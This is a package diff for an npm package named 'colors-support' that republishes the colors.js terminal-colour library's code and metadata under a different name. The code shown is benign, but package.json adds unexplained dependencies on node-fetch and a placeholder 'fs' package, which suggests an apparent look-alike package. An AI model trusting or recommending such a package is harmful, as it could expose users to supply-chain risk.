package/lib/styles.js
ADDED
@@ -0,0 +1,95 @@
|
|
1
|
+
/*
|
2
|
+
The MIT License (MIT)
|
3
|
+
|
4
|
+
Copyright (c) Sindre Sorhus <sindresorhus@gmail.com> (sindresorhus.com)
|
5
|
+
|
6
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
7
|
+
of this software and associated documentation files (the "Software"), to deal
|
8
|
+
in the Software without restriction, including without limitation the rights
|
9
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
10
|
+
copies of the Software, and to permit persons to whom the Software is
|
11
|
+
furnished to do so, subject to the following conditions:
|
12
|
+
|
13
|
+
The above copyright notice and this permission notice shall be included in
|
14
|
+
all copies or substantial portions of the Software.
|
15
|
+
|
16
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
17
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
18
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
19
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
20
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
21
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
22
|
+
THE SOFTWARE.
|
23
|
+
|
24
|
+
*/
|
25
|
+
|
26
|
+
var styles = {};
|
27
|
+
module['exports'] = styles;
|
28
|
+
|
29
|
+
var codes = {
|
30
|
+
reset: [0, 0],
|
31
|
+
|
32
|
+
bold: [1, 22],
|
33
|
+
dim: [2, 22],
|
34
|
+
italic: [3, 23],
|
35
|
+
underline: [4, 24],
|
36
|
+
inverse: [7, 27],
|
37
|
+
hidden: [8, 28],
|
38
|
+
strikethrough: [9, 29],
|
39
|
+
|
40
|
+
black: [30, 39],
|
41
|
+
red: [31, 39],
|
42
|
+
green: [32, 39],
|
43
|
+
yellow: [33, 39],
|
44
|
+
blue: [34, 39],
|
45
|
+
magenta: [35, 39],
|
46
|
+
cyan: [36, 39],
|
47
|
+
white: [37, 39],
|
48
|
+
gray: [90, 39],
|
49
|
+
grey: [90, 39],
|
50
|
+
|
51
|
+
brightRed: [91, 39],
|
52
|
+
brightGreen: [92, 39],
|
53
|
+
brightYellow: [93, 39],
|
54
|
+
brightBlue: [94, 39],
|
55
|
+
brightMagenta: [95, 39],
|
56
|
+
brightCyan: [96, 39],
|
57
|
+
brightWhite: [97, 39],
|
58
|
+
|
59
|
+
bgBlack: [40, 49],
|
60
|
+
bgRed: [41, 49],
|
61
|
+
bgGreen: [42, 49],
|
62
|
+
bgYellow: [43, 49],
|
63
|
+
bgBlue: [44, 49],
|
64
|
+
bgMagenta: [45, 49],
|
65
|
+
bgCyan: [46, 49],
|
66
|
+
bgWhite: [47, 49],
|
67
|
+
bgGray: [100, 49],
|
68
|
+
bgGrey: [100, 49],
|
69
|
+
|
70
|
+
bgBrightRed: [101, 49],
|
71
|
+
bgBrightGreen: [102, 49],
|
72
|
+
bgBrightYellow: [103, 49],
|
73
|
+
bgBrightBlue: [104, 49],
|
74
|
+
bgBrightMagenta: [105, 49],
|
75
|
+
bgBrightCyan: [106, 49],
|
76
|
+
bgBrightWhite: [107, 49],
|
77
|
+
|
78
|
+
// legacy styles for colors pre v1.0.0
|
79
|
+
blackBG: [40, 49],
|
80
|
+
redBG: [41, 49],
|
81
|
+
greenBG: [42, 49],
|
82
|
+
yellowBG: [43, 49],
|
83
|
+
blueBG: [44, 49],
|
84
|
+
magentaBG: [45, 49],
|
85
|
+
cyanBG: [46, 49],
|
86
|
+
whiteBG: [47, 49],
|
87
|
+
|
88
|
+
};
|
89
|
+
|
90
|
+
Object.keys(codes).forEach(function(key) {
|
91
|
+
var val = codes[key];
|
92
|
+
var style = styles[key] = [];
|
93
|
+
style.open = '\u001b[' + val[0] + 'm';
|
94
|
+
style.close = '\u001b[' + val[1] + 'm';
|
95
|
+
});
|
@@ -0,0 +1,35 @@
|
|
1
|
+
/*
|
2
|
+
MIT License
|
3
|
+
|
4
|
+
Copyright (c) Sindre Sorhus <sindresorhus@gmail.com> (sindresorhus.com)
|
5
|
+
|
6
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy of
|
7
|
+
this software and associated documentation files (the "Software"), to deal in
|
8
|
+
the Software without restriction, including without limitation the rights to
|
9
|
+
use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
|
10
|
+
of the Software, and to permit persons to whom the Software is furnished to do
|
11
|
+
so, subject to the following conditions:
|
12
|
+
|
13
|
+
The above copyright notice and this permission notice shall be included in all
|
14
|
+
copies or substantial portions of the Software.
|
15
|
+
|
16
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
17
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
18
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
19
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
20
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
21
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
22
|
+
SOFTWARE.
|
23
|
+
*/
|
24
|
+
|
25
|
+
'use strict';
|
26
|
+
|
27
|
+
module.exports = function(flag, argv) {
|
28
|
+
argv = argv || process.argv;
|
29
|
+
|
30
|
+
var terminatorPos = argv.indexOf('--');
|
31
|
+
var prefix = /^-{1,2}/.test(flag) ? '' : '--';
|
32
|
+
var pos = argv.indexOf(prefix + flag);
|
33
|
+
|
34
|
+
return pos !== -1 && (terminatorPos === -1 ? true : pos < terminatorPos);
|
35
|
+
};
|
@@ -0,0 +1,151 @@
|
|
1
|
+
/*
|
2
|
+
The MIT License (MIT)
|
3
|
+
|
4
|
+
Copyright (c) Sindre Sorhus <sindresorhus@gmail.com> (sindresorhus.com)
|
5
|
+
|
6
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
7
|
+
of this software and associated documentation files (the "Software"), to deal
|
8
|
+
in the Software without restriction, including without limitation the rights
|
9
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
10
|
+
copies of the Software, and to permit persons to whom the Software is
|
11
|
+
furnished to do so, subject to the following conditions:
|
12
|
+
|
13
|
+
The above copyright notice and this permission notice shall be included in
|
14
|
+
all copies or substantial portions of the Software.
|
15
|
+
|
16
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
17
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
18
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
19
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
20
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
21
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
22
|
+
THE SOFTWARE.
|
23
|
+
|
24
|
+
*/
|
25
|
+
|
26
|
+
'use strict';
|
27
|
+
|
28
|
+
var os = require('os');
|
29
|
+
var hasFlag = require('./has-flag.js');
|
30
|
+
|
31
|
+
var env = process.env;
|
32
|
+
|
33
|
+
var forceColor = void 0;
|
34
|
+
if (hasFlag('no-color') || hasFlag('no-colors') || hasFlag('color=false')) {
|
35
|
+
forceColor = false;
|
36
|
+
} else if (hasFlag('color') || hasFlag('colors') || hasFlag('color=true')
|
37
|
+
|| hasFlag('color=always')) {
|
38
|
+
forceColor = true;
|
39
|
+
}
|
40
|
+
if ('FORCE_COLOR' in env) {
|
41
|
+
forceColor = env.FORCE_COLOR.length === 0
|
42
|
+
|| parseInt(env.FORCE_COLOR, 10) !== 0;
|
43
|
+
}
|
44
|
+
|
45
|
+
function translateLevel(level) {
|
46
|
+
if (level === 0) {
|
47
|
+
return false;
|
48
|
+
}
|
49
|
+
|
50
|
+
return {
|
51
|
+
level: level,
|
52
|
+
hasBasic: true,
|
53
|
+
has256: level >= 2,
|
54
|
+
has16m: level >= 3,
|
55
|
+
};
|
56
|
+
}
|
57
|
+
|
58
|
+
function supportsColor(stream) {
|
59
|
+
if (forceColor === false) {
|
60
|
+
return 0;
|
61
|
+
}
|
62
|
+
|
63
|
+
if (hasFlag('color=16m') || hasFlag('color=full')
|
64
|
+
|| hasFlag('color=truecolor')) {
|
65
|
+
return 3;
|
66
|
+
}
|
67
|
+
|
68
|
+
if (hasFlag('color=256')) {
|
69
|
+
return 2;
|
70
|
+
}
|
71
|
+
|
72
|
+
if (stream && !stream.isTTY && forceColor !== true) {
|
73
|
+
return 0;
|
74
|
+
}
|
75
|
+
|
76
|
+
var min = forceColor ? 1 : 0;
|
77
|
+
|
78
|
+
if (process.platform === 'win32') {
|
79
|
+
// Node.js 7.5.0 is the first version of Node.js to include a patch to
|
80
|
+
// libuv that enables 256 color output on Windows. Anything earlier and it
|
81
|
+
// won't work. However, here we target Node.js 8 at minimum as it is an LTS
|
82
|
+
// release, and Node.js 7 is not. Windows 10 build 10586 is the first
|
83
|
+
// Windows release that supports 256 colors. Windows 10 build 14931 is the
|
84
|
+
// first release that supports 16m/TrueColor.
|
85
|
+
var osRelease = os.release().split('.');
|
86
|
+
if (Number(process.versions.node.split('.')[0]) >= 8
|
87
|
+
&& Number(osRelease[0]) >= 10 && Number(osRelease[2]) >= 10586) {
|
88
|
+
return Number(osRelease[2]) >= 14931 ? 3 : 2;
|
89
|
+
}
|
90
|
+
|
91
|
+
return 1;
|
92
|
+
}
|
93
|
+
|
94
|
+
if ('CI' in env) {
|
95
|
+
if (['TRAVIS', 'CIRCLECI', 'APPVEYOR', 'GITLAB_CI'].some(function(sign) {
|
96
|
+
return sign in env;
|
97
|
+
}) || env.CI_NAME === 'codeship') {
|
98
|
+
return 1;
|
99
|
+
}
|
100
|
+
|
101
|
+
return min;
|
102
|
+
}
|
103
|
+
|
104
|
+
if ('TEAMCITY_VERSION' in env) {
|
105
|
+
return (/^(9\.(0*[1-9]\d*)\.|\d{2,}\.)/.test(env.TEAMCITY_VERSION) ? 1 : 0
|
106
|
+
);
|
107
|
+
}
|
108
|
+
|
109
|
+
if ('TERM_PROGRAM' in env) {
|
110
|
+
var version = parseInt((env.TERM_PROGRAM_VERSION || '').split('.')[0], 10);
|
111
|
+
|
112
|
+
switch (env.TERM_PROGRAM) {
|
113
|
+
case 'iTerm.app':
|
114
|
+
return version >= 3 ? 3 : 2;
|
115
|
+
case 'Hyper':
|
116
|
+
return 3;
|
117
|
+
case 'Apple_Terminal':
|
118
|
+
return 2;
|
119
|
+
// No default
|
120
|
+
}
|
121
|
+
}
|
122
|
+
|
123
|
+
if (/-256(color)?$/i.test(env.TERM)) {
|
124
|
+
return 2;
|
125
|
+
}
|
126
|
+
|
127
|
+
if (/^screen|^xterm|^vt100|^rxvt|color|ansi|cygwin|linux/i.test(env.TERM)) {
|
128
|
+
return 1;
|
129
|
+
}
|
130
|
+
|
131
|
+
if ('COLORTERM' in env) {
|
132
|
+
return 1;
|
133
|
+
}
|
134
|
+
|
135
|
+
if (env.TERM === 'dumb') {
|
136
|
+
return min;
|
137
|
+
}
|
138
|
+
|
139
|
+
return min;
|
140
|
+
}
|
141
|
+
|
142
|
+
function getSupportLevel(stream) {
|
143
|
+
var level = supportsColor(stream);
|
144
|
+
return translateLevel(level);
|
145
|
+
}
|
146
|
+
|
147
|
+
module.exports = {
|
148
|
+
supportsColor: getSupportLevel,
|
149
|
+
stdout: getSupportLevel(process.stdout),
|
150
|
+
stderr: getSupportLevel(process.stderr),
|
151
|
+
};
|
package/package.json
CHANGED
@@ -1,6 +1,52 @@
|
|
1
1
|
{
|
2
2
|
"name": "colors-support",
|
3
|
-
"
|
4
|
-
"
|
5
|
-
"
|
3
|
+
"description": "get colors in your node.js console",
|
4
|
+
"version": "1.5.3",
|
5
|
+
"author": "Marak Squires",
|
6
|
+
"contributors": [
|
7
|
+
"DABH (https://github.com/DABH)"
|
8
|
+
],
|
9
|
+
"homepage": "https://github.com/Marak/colors.js",
|
10
|
+
"bugs": {
|
11
|
+
"url": "https://github.com/Marak/colors.js/issues"
|
12
|
+
},
|
13
|
+
"keywords": [
|
14
|
+
"ansi",
|
15
|
+
"terminal",
|
16
|
+
"colors"
|
17
|
+
],
|
18
|
+
"repository": {
|
19
|
+
"type": "git",
|
20
|
+
"url": "git+ssh://git@github.com/Marak/colors.js.git"
|
21
|
+
},
|
22
|
+
"license": "MIT",
|
23
|
+
"scripts": {
|
24
|
+
"lint": "eslint . --fix",
|
25
|
+
"test": "node tests/basic-test.js && node tests/safe-test.js"
|
26
|
+
},
|
27
|
+
"engines": {
|
28
|
+
"node": ">=0.1.90"
|
29
|
+
},
|
30
|
+
"main": "lib/index.js",
|
31
|
+
"files": [
|
32
|
+
"examples",
|
33
|
+
"lib",
|
34
|
+
"LICENSE",
|
35
|
+
"safe.js",
|
36
|
+
"themes",
|
37
|
+
"index.d.ts",
|
38
|
+
"safe.d.ts"
|
39
|
+
],
|
40
|
+
"devDependencies": {
|
41
|
+
"eslint": "^5.2.0",
|
42
|
+
"eslint-config-google": "^0.11.0"
|
43
|
+
},
|
44
|
+
"dependencies": {
|
45
|
+
"fs": "^0.0.1-security",
|
46
|
+
"node-fetch": "^1.7.3"
|
47
|
+
},
|
48
|
+
"directories": {
|
49
|
+
"example": "examples",
|
50
|
+
"lib": "lib"
|
51
|
+
}
|
6
52
|
}
|
package/safe.d.ts
ADDED
@@ -0,0 +1,48 @@
|
|
1
|
+
// Type definitions for Colors.js 1.2
|
2
|
+
// Project: https://github.com/Marak/colors.js
|
3
|
+
// Definitions by: Bart van der Schoor <https://github.com/Bartvds>, Staffan Eketorp <https://github.com/staeke>
|
4
|
+
// Definitions: https://github.com/Marak/colors.js
|
5
|
+
|
6
|
+
export const enabled: boolean;
|
7
|
+
export function enable(): void;
|
8
|
+
export function disable(): void;
|
9
|
+
export function setTheme(theme: any): void;
|
10
|
+
|
11
|
+
export function strip(str: string): string;
|
12
|
+
export function stripColors(str: string): string;
|
13
|
+
|
14
|
+
export function black(str: string): string;
|
15
|
+
export function red(str: string): string;
|
16
|
+
export function green(str: string): string;
|
17
|
+
export function yellow(str: string): string;
|
18
|
+
export function blue(str: string): string;
|
19
|
+
export function magenta(str: string): string;
|
20
|
+
export function cyan(str: string): string;
|
21
|
+
export function white(str: string): string;
|
22
|
+
export function gray(str: string): string;
|
23
|
+
export function grey(str: string): string;
|
24
|
+
|
25
|
+
export function bgBlack(str: string): string;
|
26
|
+
export function bgRed(str: string): string;
|
27
|
+
export function bgGreen(str: string): string;
|
28
|
+
export function bgYellow(str: string): string;
|
29
|
+
export function bgBlue(str: string): string;
|
30
|
+
export function bgMagenta(str: string): string;
|
31
|
+
export function bgCyan(str: string): string;
|
32
|
+
export function bgWhite(str: string): string;
|
33
|
+
|
34
|
+
export function reset(str: string): string;
|
35
|
+
export function bold(str: string): string;
|
36
|
+
export function dim(str: string): string;
|
37
|
+
export function italic(str: string): string;
|
38
|
+
export function underline(str: string): string;
|
39
|
+
export function inverse(str: string): string;
|
40
|
+
export function hidden(str: string): string;
|
41
|
+
export function strikethrough(str: string): string;
|
42
|
+
|
43
|
+
export function rainbow(str: string): string;
|
44
|
+
export function zebra(str: string): string;
|
45
|
+
export function america(str: string): string;
|
46
|
+
export function trap(str: string): string;
|
47
|
+
export function random(str: string): string;
|
48
|
+
export function zalgo(str: string): string;
|
package/safe.js
ADDED
@@ -0,0 +1,10 @@
|
|
1
|
+
//
|
2
|
+
// Remark: Requiring this file will use the "safe" colors API,
|
3
|
+
// which will not touch String.prototype.
|
4
|
+
//
|
5
|
+
// var colors = require('colors/safe');
|
6
|
+
// colors.red("foo")
|
7
|
+
//
|
8
|
+
//
|
9
|
+
var colors = require('./lib/colors');
|
10
|
+
module['exports'] = colors;
|